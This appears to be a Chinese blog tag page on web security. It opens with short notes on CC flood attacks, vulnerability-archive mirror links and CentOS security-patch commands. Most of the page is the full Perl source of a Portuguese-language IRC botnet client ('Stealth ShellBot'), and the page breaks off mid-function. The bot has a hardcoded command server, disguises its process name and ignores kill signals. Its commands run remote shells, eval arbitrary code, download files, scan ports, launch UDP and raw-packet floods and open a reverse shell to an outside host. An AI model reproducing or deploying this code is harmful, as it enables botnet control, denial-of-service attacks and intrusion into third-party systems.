标签 web安全 下的文章

最著名的就是CC攻击了,事实上,CC攻击最直观的名字应该叫做Http Get Flood攻击,它是专门针对Web服务器,由大量的代理服务器或者僵尸主机对Web服务器发起,不断对某个页面进行Http Get请求,消耗Web服务器的资源,最终导致Web服务器无法响应正常用户的请求。
CCKiller Linux轻量级CC攻击防御工具脚本 && GITHUB && Ubuntu
CentOS 7 安装 fail2ban + Firewalld 防止爆破与 CC 攻击
VPS屏蔽国外IP访问防止CC攻击
Linux VPS一键屏蔽指定国家所有的IP访问
上干货,VPS屏蔽国外IP访问脚本
https://github.com/17mon/china_ip_list


http://www.wooyun.org/
镜像
https://bestwing.me/build-the-wooyun-drops.html 搭建教程
https://github.com/hanc00l/wooyun_public
https://github.com/m0l1ce/wooyunallbugs
https://github.com/jiji262/wooyun_articles
https://github.com/SuperKieran/WooyunDrops

http://wooyun.fbisb.com/
http://su.xmd5.org/
http://wooyun.jozxing.cc/

http://www.virscan.org/language/zh-cn/
VirSCAN.org 是一个非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对您上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来,从而提供给您可疑程度的建议。

博客

https://bazad.github.io/

常见 Web 安全攻防总结
Web安全开发规范手册V1.0

前端安全

前端该知道些密码学和安全上的事儿
前端 web 密码加密是否有意义
目前有没有用密码登录的网站做了前端加盐加密?

一个想法:
某些库,插件会重写浏览器的XMLHttpRequest对象,
在Network看不到任何请求,拦截所有的请求,只能本地调试。
这样相对安全,为难自己。



ThinkPHP被黑了,你知道吗?
小学生作为?沉默...看到Q群就笑了,图样
从第三方来源得知“域名劫持”
www.3gsec.cn -> 182.61.4.117
www.thinkphp.cn -> 182.61.4.117

tp官网不是用kangle,这是域名挟持到黑阔的机器上面吧?
传说中的黑页?
0
1
挂马?
2
1
5
2
3
4

域名注册,国内也就万网和新网(请不要在代理那里注册)靠谱点。
首选万网,垃圾新网经常犯病。。。
最后说说社工学是什么东东吧

6
7
8

相关来自https://v2ex.com/t/288408



centos如果直接update,会升级整个系统的包,系统升级到新的版本,导致有些没有经过测试的程序异常,所以为了安全,会只更新安全补丁,而不去升级系统版本。

centos 系统加固

1.首先要先安装安装yum插件:

yum install yum-security  -y

2.使用:检查安全更新

yum --security check-update

3.只安装安全更新

yum update --security

检查特定软件有无安全更新

列出更新的详细信息

yum info-security software_name

来自Linux - centos/rhel 更新安全补丁


#!/usr/bin/perl
#          - Adicionado comando !estatisticas ;
#          - Alterado o comando @pacota para @oldpack;
#          - Adicionado dois novos pacotadores: @udp    e @udpfaixa   ;
#          - Adicionado um novo portscan -> @fullportscan   ;
#          - Adicionado comando @conback   com suporte para Windows/Unix :D;
#          - Adicionado comando: !sair para finalizar o bot;
#          - Adicionado comando: !novonick para trocar o nick do bot por um novo aleatorio;
#          - Adicionado comando !entra   e !sai  ;
#          - Adicionado comando @download  ;
#          - Adicionado comando !pacotes  para ativar/desativar pacotes :);

########## CONFIGURACAO ############
my $processo = '/usr/local/apache/bin/httpd -DSSL';

$servidor='104.160.176.116' unless $servidor;
my $porta='80';
my @canais=("#god");
my @adms=("god","laris");
my @auth=("*!*@max");

# Anti Flood ( 6/3 Recomendado )
my $linas_max=6;
my $sleep=3;

my $nick = getnick();
my $ircname = getnick();
my $realname = getnick();

my $acessoshell = 1;
######## Stealth ShellBot ##########
my $prefixo = "#";
my $estatisticas = 0;
my $pacotes = 1;
####################################

my $VERSAO = '0.2a';

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0";
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);

my %irc_servers;
my %DCC;
my $dcc_sel = new IO::Select->new();

#####################
# Stealth Shellbot  #
#####################



sub getnick {
  #my $retornonick = &_get("http://websurvey.burstmedia.com/names.txt");
  #return $retornonick;
  return "new".int(rand(9000));
}


sub getident {
  my $retornoident = &_get("http://www.minpop.com/sk12pack/idents.php");
  my $identchance = int(rand(1000));
  if ($identchance > 30) {
     return $nick;
  } else {
     return $retornoident;
  }
  return $retornoident;
}

sub getname {
  my $retornoname = &_get("http://www.minpop.com/sk12pack/names.php");
  return $retornoname;
}

# IDENT TEMPORARIA - Pegar ident da url ta bugando o_o
sub getident2 {
        my $length=shift;
        $length = 3 if ($length < 3);

        my @chars=('a'..'z','A'..'Z','1'..'9');
        foreach (1..$length)
        {
                $randomstring.=$chars[rand @chars];
        }
        return $randomstring;
}

sub getstore ($$)
{
  my $url = shift;
  my $file = shift;

  $http_stream_out = 1;
  open(GET_OUTFILE, "> $file");
  %http_loop_check = ();
  _get($url);
  close GET_OUTFILE;
  return $main::http_get_result;
}

sub _get
{
  my $url = shift;
  my $proxy = "";
  grep {(lc($_) eq "http_proxy") && ($proxy = $ENV{$_})} keys %ENV;
  if (($proxy eq "") && $url =~ m,^http://([^/:]+)(?::(\d+))?(/\S*)?$,) {
    my $host = $1;
    my $port = $2 || 80;
    my $path = $3;
    $path = "/" unless defined($path);
    return _trivial_http_get($host, $port, $path);
  } elsif ($proxy =~ m,^http://([^/:]+):(\d+)(/\S*)?$,) {
    my $host = $1;
    my $port = $2;
    my $path = $url;
    return _trivial_http_get($host, $port, $path);
  } else {
    return undef;
  }
}


sub _trivial_http_get
{
  my($host, $port, $path) = @_;
  my($AGENT, $VERSION, $p);
  #print "HOST=$host, PORT=$port, PATH=$path\n";

  $AGENT = "get-minimal";
  $VERSION = "20000118";

  $path =~ s/ /%20/g;

  require IO::Socket;
  local($^W) = 0;
  my $sock = IO::Socket::INET->new(PeerAddr => $host,
                                   PeerPort => $port,
                                   Proto   => 'tcp',
                                   Timeout  => 60) || return;
  $sock->autoflush;
  my $netloc = $host;
  $netloc .= ":$port" if $port != 80;
  my $request = "GET $path HTTP/1.0\015\012"
              . "Host: $netloc\015\012"
              . "User-Agent: $AGENT/$VERSION/u\015\012";
  $request .= "Pragma: no-cache\015\012" if ($main::http_no_cache);
  $request .= "\015\012";
  print $sock $request;

  my $buf = "";
  my $n;
  my $b1 = "";
  while ($n = sysread($sock, $buf, 8*1024, length($buf))) {
    if ($b1 eq "") { # first block?
      $b1 = $buf;         # Save this for errorcode parsing
      $buf =~ s/.+?\015?\012\015?\012//s;      # zap header
    }
    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = ""; }
  }
  return undef unless defined($n);

  $main::http_get_result = 200;
  if ($b1 =~ m,^HTTP/\d+\.\d+\s+(\d+)[^\012]*\012,) {
    $main::http_get_result = $1;
    # print "CODE=$main::http_get_result\n$b1\n";
    if ($main::http_get_result =~ /^30[1237]/ && $b1 =~ /\012Location:\s*(\S+)/
) {
      # redirect
      my $url = $1;
      return undef if $http_loop_check{$url}++;
      return _get($url);
    }
    return undef unless $main::http_get_result =~ /^2/;
  }

  return $buf;
}

#############################
#  B0tchZ na veia ehehe :P  #
#############################

$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1') {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick");
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
     sleep 2;
   }

}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   &DCC::connections;
   my @ready = $sel_cliente->can_read(0.6);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line");
       } else {
           if ($#lines == 0) {
             parse("$line");
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line");
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line");
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   if ($servarg =~ /^PING \:(.*)/) {
     sendraw("PONG :$1");
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
       my $pn=$1; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 ENE ALIN GABRIEL\001");
       }
       elsif ($args =~ /^\001PING\s+(\d+)\001$/) {
         notice("$pn", "\001PONG\001");
       }
       elsif (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
         if ($onde eq "$meunick"){
           shell("$pn", "$args");
           }
         elsif ($args =~ /^(\Q$meunick\E|\Q$prefixo\E)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1") unless ($natrix eq "$prefixo" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1");
            } else {
                shell("$onde", "$arg");
            }
         }
       }
   } elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?)\s+NICK\s+\:(\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\:(.+?)\s+433/i) {
       $meunick = getnick();
       nick("$meunick");
   } elsif ($servarg =~ m/^\:(.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("JOIN $canal");
       }
   }
}

sub bfunc {
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^portscan (.*)/) {
             my $hostip="$1";
             my @portas=("21","22","23","25","53","80","110","143");
             my (@aberta, %porta_banner);
             foreach my $porta (@portas)  {
                my $scansock = IO::Socket::INET->new(PeerAddr => $hostip, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
                if ($scansock) {
                   push (@aberta, $porta);
                   $scansock->close;
                }
             }
             if (@aberta) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @aberta");
             } else {
                 sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
             }
           }

           elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
            getstore("$1", "$2");
            sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Conclu.do!") if ($estatisticas);
            }

           elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
             my $hostname="$1";
             my $portainicial = "$2";
             my $portafinal = "$3";
             my (@abertas, %porta_banner);
             foreach my $porta ($portainicial..$portafinal)
             {
               my $scansock = IO::Socket::INET->new(PeerAddr => $hostname, PeerPort => $porta, Proto => 'tcp', Timeout => 4);
               if ($scansock) {
                 push (@abertas, $porta);
                 $scansock->close;
                 if ($estatisticas) {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :Porta $porta aberta em $hostname");
                 }
               }
             }
             if (@abertas) {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Portas abertas: @abertas");
             } else {
               sendraw($IRC_cur_socket,"PRIVMSG $printl :Nenhuma porta aberta foi encontrada.");
             }
            }

            # Duas Vers.es simplificada do meu Tr0x ;D
            elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $alvo=inet_aton("$1");
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotese;
              my $fim = time + $tempo;
              my $pacota = 1;
              while (($pacota == "1") && ($pacotes == "1")) {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                $pacote=$rand x $rand x $rand;
                $porta = int(rand 65000) +1 if ($porta == "0");
                send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $1");
              }
            }

            elsif ($funcarg =~ /^udpfaixa\s+(.*)\s+(\d+)\s+(\d+)/) {
              return unless $pacotes;
              socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
              my $faixaip="$1";
              my $porta = "$2";
              my $tempo = "$3";
              my $pacote;
              my $pacotes;
              my $fim = time + $tempo;
              my $pacota = 1;
              my $alvo;
              while ($pacota == "1") {
                $pacota = 0 if ((time >= $fim) && ($tempo != "0"));
                for (my $faixa = 1; $faixa <= 255; $faixa++) {
                  $alvo = inet_aton("$faixaip.$faixa");
                  $pacote=$rand x $rand x $rand;
                  $porta = int(rand 65000) +1 if ($porta == "0");
                  send(Tr0x, 0, $pacote, sockaddr_in($porta, $alvo)) and $pacotese++ if ($pacotes == "1");
                  if ($faixa >= 255) {
                    $faixa = 1;
                  }
                }
              }
              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo de Pacotes\002: $tempo"."s");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total de Pacotes\002: $pacotese");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Alvo dos Pacotes\002: $alvo");
              }
            }

            # Conback.pl by Dominus Vis adaptada e adicionado suporte pra windows ;p
            elsif ($funcarg =~ /^conback\s+(.*)\s+(\d+)/) {
              my $host = "$1";
              my $porta = "$2";
              my $proto = getprotobyname('tcp');
              my $iaddr = inet_aton($host);
              my $paddr = sockaddr_in($porta, $iaddr);
              my $shell = "/bin/sh -i";
              if ($^O eq "MSWin32") {
                $shell = "cmd.exe";
              }
              socket(SOCKET, PF_INET, SOCK_STREAM, $proto) or die "socket: $!";
              connect(SOCKET, $paddr) or die "connect: $!";
              open(STDIN, ">&SOCKET");
              open(STDOUT, ">&SOCKET");
              open(STDERR, ">&SOCKET");
              system("$shell");
              close(STDIN);
              close(STDOUT);
              close(STDERR);

              if ($estatisticas)
              {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Conectando-se em\002: $host:$porta");
              }
            }

           elsif ($funcarg =~ /^oldpack\s+(.*)\s+(\d+)\s+(\d+)/) {
            return unless $pacotes;
             my ($dtime, %pacotes) = attacker("$1", "$2", "$3");
             $dtime = 1 if $dtime == 0;
             my %bytes;
             $bytes{igmp} = $2 * $pacotes{igmp};
             $bytes{icmp} = $2 * $pacotes{icmp};
             $bytes{o} = $2 * $pacotes{o};
             $bytes{udp} = $2 * $pacotes{udp};
             $bytes{tcp} = $2 * $pacotes{tcp};
             unless ($estatisticas)
             {
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002 - Status -\002");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Timp\002: $dtime"."secunde.");
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total packet\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} +  $pacotes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
               sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Flood\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
             }
           }
           exit;
       }
  }
}

sub ircase {
  my ($kem, $printl, $case) = @_;

   if ($case =~ /^join (.*)/) {
     j("$1");
   }
   elsif ($case =~ /^part (.*)/) {
      p("$1");
   }
   elsif ($case =~ /^rejoin\s+(.*)/) {
      my $chan = $1;
      if ($chan =~ /^(\d+) (.*)/) {
        for (my $ca = 1; $ca <= $1; $ca++ ) {
          p("$2");
          j("$2");
        }
      } else {
          p("$chan");
          j("$chan");
      }
   }
   elsif ($case =~ /^op/) {
      op("$printl", "$kem") if $case eq "op";
      my $oarg = substr($case, 3);
      op("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^deop/) {
      deop("$printl", "$kem") if $case eq "deop";
      my $oarg = substr($case, 5);
      deop("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^voice/) {
      voice("$printl", "$kem") if $case eq "voice";
      $oarg = substr($case, 6);
      voice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^devoice/) {
      devoice("$printl", "$kem") if $case eq "devoice";
      $oarg = substr($case, 8);
      devoice("$1", "$2") if ($oarg =~ /(\S+)\s+(\S+)/);
   }
   elsif ($case =~ /^msg\s+(\S+) (.*)/) {
      msg("$1", "$2");
   }
   elsif ($case =~ /^flood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        msg("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcpflood\s+(\d+)\s+(\S+) (.*)/) {
      for (my $cf = 1; $cf <= $1; $cf++) {
        ctcp("$2", "$3");
      }
   }
   elsif ($case =~ /^ctcp\s+(\S+) (.*)/) {
      ctcp("$1", "$2");
   }
   elsif ($case =~ /^invite\s+(\S+) (.*)/) {
      invite("$1", "$2");
   }
   elsif ($case =~ /^nick (.*)/) {
      nick("$1");
   }
   elsif ($case =~ /^conecta\s+(\S+)\s+(\S+)/) {
       conectar("$2", "$1", 6667);
   }
   elsif ($case =~ /^send\s+(\S+)\s+(\S+)/) {
      DCC::SEND("$1", "$2");
   }
   elsif ($case =~ /^raw (.*)/) {
      sendraw("$1");
   }
   elsif ($case =~ /^eval (.*)/) {
      eval "$1";
   }
   elsif ($case =~ /^entra\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    j("$1");
   }
   elsif ($case =~ /^sai\s+(\S+)\s+(\d+)/) {
    sleep int(rand($2));
    p("$1");
   }
   elsif ($case =~ /^sair/) {
     quit();
   }
   elsif ($case =~ /^novonick/) {
    my $novonick = getnick();
     nick("$novonick");
   }
   elsif ($case =~ /^estatisticas (.*)/) {
     if ($1 eq "on") {
      $estatisticas = 1;
      msg("$printl", "Estat.sticas ativadas!");
     } elsif ($1 eq "off") {
      $estatisticas = 0;
      msg("$printl", "Estat.sticas desativadas!");
     }
   }
   elsif ($case =~ /^pacotes (.*)/) {
     if ($1 eq "on") {
      $pacotes = 1;
      msg("$printl", "Pacotes ativados!") if ($estatisticas == "1");
     } elsif ($1 eq "off") {
      $pacotes = 0;
      msg("$printl", "Pacotes desativados!") if ($estatisticas == "1");
     }
   }
}
sub shell {
  return unless $acessoshell;
  my $printl=$_[0];
  my $comando=$_[1];
  if ($comando =~ /cd (.*)/) {
    chdir("$1") || msg("$printl", "Diret.rio inexistente!");
    return;
  }
  elsif ($pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           my @resp=`$comando 2>&1 3>&1`;
           my $c=0;
           foreach my $linha (@resp) {
             $c++;
             chop $linha;
             sendraw($IRC_cur_socket, "PRIVMSG $printl :$linha");
             if ($c >= "$linas_max") {
               $c=0;
               sleep $sleep;
             }
           }
           exit;
       }
  }
}

#eu fiz um pacotadorzinhu e talz.. dai colokemo ele aki
sub attacker {
  my $iaddr = inet_aton($_[0]);
  my $msg = 'B' x $_[1];
  my $ftime = $_[2];
  my $cp = 0;
  my (%pacotes);
  $pacotes{icmp} = $pacotes{igmp} = $pacotes{udp} = $pacotes{o} = $pacotes{tcp} = 0;

  socket(SOCK1, PF_INET, SOCK_RAW, 2) or $cp++;
  socket(SOCK2, PF_INET, SOCK_DGRAM, 17) or $cp++;
  socket(SOCK3, PF_INET, SOCK_RAW, 1) or $cp++;
  socket(SOCK4, PF_INET, SOCK_RAW, 6) or $cp++;
  return(undef) if $cp == 4;
  my $itime = time;
  my ($cur_time);
  while ( 1 ) {
     for (my $porta = 1; $porta <= 65535; $porta++) {
       $cur_time = time - $itime;
       last if $cur_time >= $ftime;
       send(SOCK1, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{igmp}++ if ($pacotes == 1);
       send(SOCK2, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{udp}++ if ($pacotes == 1);
       send(SOCK3, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{icmp}++ if ($pacotes == 1);
       send(SOCK4, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{tcp}++ if ($pacotes == 1);

       # DoS ?? :P
       for (my $pc = 3; $pc <= 255;$pc++) {
         next if $pc == 6;
         $cur_time = time - $itime;
         last if $cur_time >= $ftime;
         socket(SOCK5, PF_INET, SOCK_RAW, $pc) or next;
         send(SOCK5, $msg, 0, sockaddr_in($porta, $iaddr)) and $pacotes{o}++ if ($pacotes == 1);
       }
     }
     last if $cur_time >= $ftime;
  }
  return($cur_time, %pacotes);
}

#############
#  ALIASES  #
#############

sub action {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001ACTION $_[1]\001");
}

sub ctcp {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :\001$_[1]\001");
}
sub msg {
   return unless $#_ == 1;
   sendraw("PRIVMSG $_[0] :$_[1]");
}

sub notice {
   return unless $#_ == 1;
   sendraw("NOTICE $_[0] :$_[1]");
}

sub op {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +o $_[1]");
}
sub deop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -o $_[1]");
}
sub hop {
    return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub dehop {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +h $_[1]");
}
sub voice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +v $_[1]");
}
sub devoice {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -v $_[1]");
}
sub ban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] +b $_[1]");
}
sub unban {
   return unless $#_ == 1;
   sendraw("MODE $_[0] -b $_[1]");
}
sub kick {
   return unless $#_ == 1;
   sendraw("KICK $_[0] $_[1] :$_[2]");
}

sub modo {
   return unless $#_ == 0;
   sendraw("MODE $_[0] $_[1]");
}
sub mode { modo(@_); }

sub j { &join(@_); }
sub join {
   return unless $#_ == 0;
   sendraw("JOIN $_[0]");
}
sub p { part(@_); }
sub part {sendraw("PART $_[0]");}

sub nick {
  return unless $#_ == 0;
  sendraw("NICK $_[0]");
}

sub invite {
   return unless $#_ == 1;
   sendraw("INVITE $_[1] $_[0]");
}
sub topico {
   return unless $#_ == 1;
   sendraw("TOPIC $_[0] $_[1]");
}
sub topic { topico(@_); }

sub whois {
  return unless $#_ == 0;
  sendraw("WHOIS $_[0]");
}
sub who {
  return unless $#_ == 0;
  sendraw("WHO $_[0]");
}
sub names {
  return unless $#_ == 0;
  sendraw("NAMES $_[0]");
}
sub away {
  sendraw("AWAY $_[0]");
}
sub back { away(); }
sub quit {
  sendraw("QUIT :$_[0]");
  exit;
}

# DCC
package DCC;

sub connections {
   my @ready = $dcc_sel->can_read(1);
#   return unless (@ready);
   foreach my $fh (@ready) {
     my $dcctipo = $DCC{$fh}{tipo};
     my $arquivo = $DCC{$fh}{arquivo};
     my $bytes = $DCC{$fh}{bytes};
     my $cur_byte = $DCC{$fh}{curbyte};
     my $nick = $DCC{$fh}{nick};

     my $msg;
     my $nread = sysread($fh, $msg, 10240);

     if ($nread == 0 and $dcctipo =~ /^(get|sendcon)$/) {
        $DCC{$fh}{status} = "Cancelado";
        $DCC{$fh}{ftime} = time;
        $dcc_sel->remove($fh);
        $fh->close;
        next;
     }

     if ($dcctipo eq "get") {
        $DCC{$fh}{curbyte} += length($msg);

        my $cur_byte = $DCC{$fh}{curbyte};

        open(FILE, ">> $arquivo");
        print FILE "$msg" if ($cur_byte <= $bytes);
        close(FILE);

        my $packbyte = pack("N", $cur_byte);
        print $fh "$packbyte";

        if ($bytes == $cur_byte) {
           $dcc_sel->remove($fh);
           $fh->close;
           $DCC{$fh}{status} = "Recebido";
           $DCC{$fh}{ftime} = time;
           next;
        }
     } elsif ($dcctipo eq "send") {
          my $send = $fh->accept;
          $send->autoflush(1);
          $dcc_sel->add($send);
          $dcc_sel->remove($fh);
          $DCC{$send}{tipo} = 'sendcon';
          $DCC{$send}{itime} = time;
          $DCC{$send}{nick} = $nick;
          $DCC{$send}{bytes} = $bytes;
          $DCC{$send}{curbyte} = 0;
          $DCC{$send}{arquivo} = $arquivo;
          $DCC{$send}{ip} = $send->peerhost;
          $DCC{$send}{porta} = $send->peerport;
          $DCC{$send}{status} = "Enviando";

          #de cara manda os primeiro 1024 bytes do arkivo.. o resto fik com o sendcon
          open(FILE, "< $arquivo");
          my $fbytes;
          read(FILE, $fbytes, 1024);
          print $send "$fbytes";
          close FILE;
#          delete($DCC{$fh});
     } elsif ($dcctipo eq 'sendcon') {
          my $bytes_sended = unpack("N", $msg);
          $DCC{$fh}{curbyte} = $bytes_sended;
          if ($bytes_sended == $bytes) {
             $fh->close;
             $dcc_sel->remove($fh);
             $DCC{$fh}{status} = "Enviado";
             $DCC{$fh}{ftime} = time;
             next;
          }
          open(SENDFILE, "< $arquivo");
          seek(SENDFILE, $bytes_sended, 0);
          my $send_bytes;
          read(SENDFILE, $send_bytes, 1024);
          print $fh "$send_bytes";
          close(SENDFILE);
     }
   }
}


sub SEND {
  my ($nick, $arquivo) = @_;
  unless (-r "$arquivo") {
    return(0);
  }

  my $dccark = $arquivo;
  $dccark =~ s/[.*\/](\S+)/$1/;

  my $meuip = $::irc_servers{"$::IRC_cur_socket"}{'meuip'};
  my $longip = unpack("N",inet_aton($meuip));

  my @filestat = stat($arquivo);
  my $size_total=$filestat[7];
  if ($size_total == 0) {
     return(0);
  }

  my ($porta, $sendsock);
  do {
    $porta = int rand(64511);
    $porta += 1024;
    $sendsock = IO::Socket::INET->new(Listen=>1, LocalPort =>$porta, Proto => 'tcp') and $dcc_sel->add($sendsock);
  } until $sendsock;

  $DCC{$sendsock}{tipo} = 'send';
  $DCC{$sendsock}{nick} = $nick;
  $DCC{$sendsock}{bytes} = $size_total;
  $DCC{$sendsock}{arquivo} = $arquivo;


  &::ctcp("$nick", "DCC SEND $dccark $longip $porta $size_total");

}

sub GET {
  my ($arquivo, $dcclongip, $dccporta, $bytes, $nick) = @_;
  return(0) if (-e "$arquivo");
  if (open(FILE, "> $arquivo")) {
     close FILE;
  } else {
    return(0);
  }

  my $dccip=fixaddr($dcclongip);
  return(0) if ($dccporta < 1024 or not defined $dccip or $bytes < 1);
  my $dccsock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$dccip, PeerPort=>$dccporta, Timeout=>15) or return (0);
  $dccsock->autoflush(1);
  $dcc_sel->add($dccsock);
  $DCC{$dccsock}{tipo} = 'get';
  $DCC{$dccsock}{itime} = time;
  $DCC{$dccsock}{nick} = $nick;
  $DCC{$dccsock}{bytes} = $bytes;
  $DCC{$dccsock}{curbyte} = 0;
  $DCC{$dccsock}{arquivo} = $arquivo;
  $DCC{$dccsock}{ip} = $dccip;
  $DCC{$dccsock}{porta} = $dccporta;
  $DCC{$dccsock}{status} = "Recebendo";
}

# po fico xato de organiza o status.. dai fiz ele retorna o status de acordo com o socket.. dai o ADM.pl lista os sockets e faz as perguntas
sub Status {
  my $socket = shift;
  my $sock_tipo = $DCC{$socket}{tipo};
  unless (lc($sock_tipo) eq "chat") {
    my $nick = $DCC{$socket}{nick};
    my $arquivo = $DCC{$socket}{arquivo};
    my $itime = $DCC{$socket}{itime};
    my $ftime = time;
    my $status = $DCC{$socket}{status};
    $ftime = $DCC{$socket}{ftime} if defined($DCC{$socket}{ftime});

    my $d_time = $ftime-$itime;

    my $cur_byte = $DCC{$socket}{curbyte};
    my $bytes_total =  $DCC{$socket}{bytes};

    my $rate = 0;
    $rate = ($cur_byte/1024)/$d_time if $cur_byte > 0;
    my $porcen = ($cur_byte*100)/$bytes_total;

    my ($r_duv, $p_duv);
    if ($rate =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $r_duv = $3; $r_duv++ if $4 >= 5;
       $rate = "$1\.$2"."$r_duv";
    }
    if ($porcen =~ /^(\d+)\.(\d)(\d)(\d)/) {
       $p_duv = $3; $p_duv++ if $4 >= 5;
       $porcen = "$1\.$2"."$p_duv";
    }
